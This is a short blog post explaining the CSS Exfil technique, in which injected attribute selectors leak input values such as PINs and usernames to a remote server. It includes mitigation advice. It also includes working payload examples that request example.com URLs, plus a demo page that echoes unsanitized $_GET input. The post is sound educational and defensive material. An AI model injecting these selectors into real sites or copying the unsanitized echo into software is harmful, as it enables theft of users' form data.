CSS Data Exfiltration
Tags: css, webdev, html, attribute
Published: 2024-03-20 11:10:29

**Introduction:**
JavaScript and HTML are integral to web development, but CSS, often overlooked, has also undergone significant evolution. From simple styling to complex web design features like transitions and media queries, CSS has become a powerful language. However, its potential for exploitation, particularly through attribute selectors, has emerged as a concern.

**CSS Attribute Selectors:**
Attribute selectors in CSS allow for precise styling based on HTML attribute values. For example, setting the color of links starting with a specific URL can be achieved with ease. This feature, while useful for styling, also opens avenues for data exfiltration.

**CSS Exfil Attack:**
Mike Gualtieri's CSS Exfil attack demonstrated how attribute selectors could be leveraged maliciously. By injecting CSS code that issues outgoing requests based on attribute values, sensitive information can be extracted from a webpage. For instance, detecting the presence of a specific PIN in an input field triggers a request to an attacker-controlled server.

**Complex Exfiltration Techniques:**
Gualtieri's work highlighted the potential complexity of CSS-based data exfiltration. By combining attribute selectors with HTML elements, attackers can glean significant information from a webpage. However, challenges such as data reassembly and element availability limit the practicality of these techniques.

**Mitigating CSS Injection Vulnerabilities:**
To prevent CSS injection vulnerabilities, developers must implement robust security measures. Context-dependent sanitization, vulnerability scanning, and Content Security Policy (CSP) implementation are crucial steps. These measures help mitigate the risk of CSS-based attacks and ensure web application security.

### Simple instance:

1. Enable you to set the color of every link

```css
a[href^="https://example.com"] {
   color: green;
}
```

2. With an attribute selector check existence of certain data within HTML attributes 

```html
<style>
   input[name="pin"][value="1234"] {
      background: url(https://example.com/log?pin=1234);
   }
</style>
<input type="password" name="pin" value="1234">
```

3. Injecting the code into the page between the `<style>` tags

```html
<html>
<head>
   <style>
        #username[value*="aa"]~#aa{
            background:url("https://example.com/aa");
        }
        #username[value*="ab"]~#ab{
            background:url("https://example.com/ab");
        }
        #username[value*="ac"]~#ac{
            background:url("https://example.com/ac");
        }
        #username[value^="a"]~#a_{
            background:url("https://example.com/a_");
        }
        #username[value$="a"]~#_a{
            background:url("https://example.com/_a");
        }
        #username[value*="ba"]~#ba{
            background:url("https://example.com/ba");
        }
        #username[value*="bb"]~#bb{
            background:url("https://example.com/bb");
        }
        #username[value*="bc"]~#bc{
            background:url("https://example.com/bc");
        }
        #username[value^="b"]~#b_{
            background:url("https://example.com/b_");
        }
        #username[value$="b"]~#_b{
            background:url("https://example.com/_b");
        }
        #username[value*="ca"]~#ca{
            background:url("https://example.com/ca");
        }
        #username[value*="cb"]~#cb{
            background:url("https://example.com/cb");
        }
        #username[value*="cc"]~#cc{
            background:url("https://example.com/cc");
        }
        #username[value^="c"]~#c_{
            background:url("https://example.com/c_");
        }
        #username[value$="c"]~#_c{
            background:url("https://example.com/_c");
        }
   </style>
</head>
<body>
   <form>
        Username: 
        <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
        <input id="form_submit" type="submit" value="submit"/>
        <a id="aa">
        <a id="ab">
        <a id="ac">
        <a id="a_">
        <a id="_a">
        <a id="ba">
        <a id="bb">
        <a id="bc">
        <a id="b_">
        <a id="_b">
        <a id="ca">
        <a id="cb">
        <a id="cc">
        <a id="c_">
        <a id="_c">
   </form>
</body>
</html>
```

**Conclusion:**
CSS attribute selectors, while essential for styling, pose security risks if exploited maliciously. Understanding these risks and implementing adequate security measures is imperative for safeguarding web applications against CSS injection vulnerabilities. By staying informed and adopting best practices, developers can mitigate the potential impact of CSS-based attacks on their applications.

Source [link](https://www.invicti.com/blog/web-security/private-data-stolen-exploiting-css-injection/)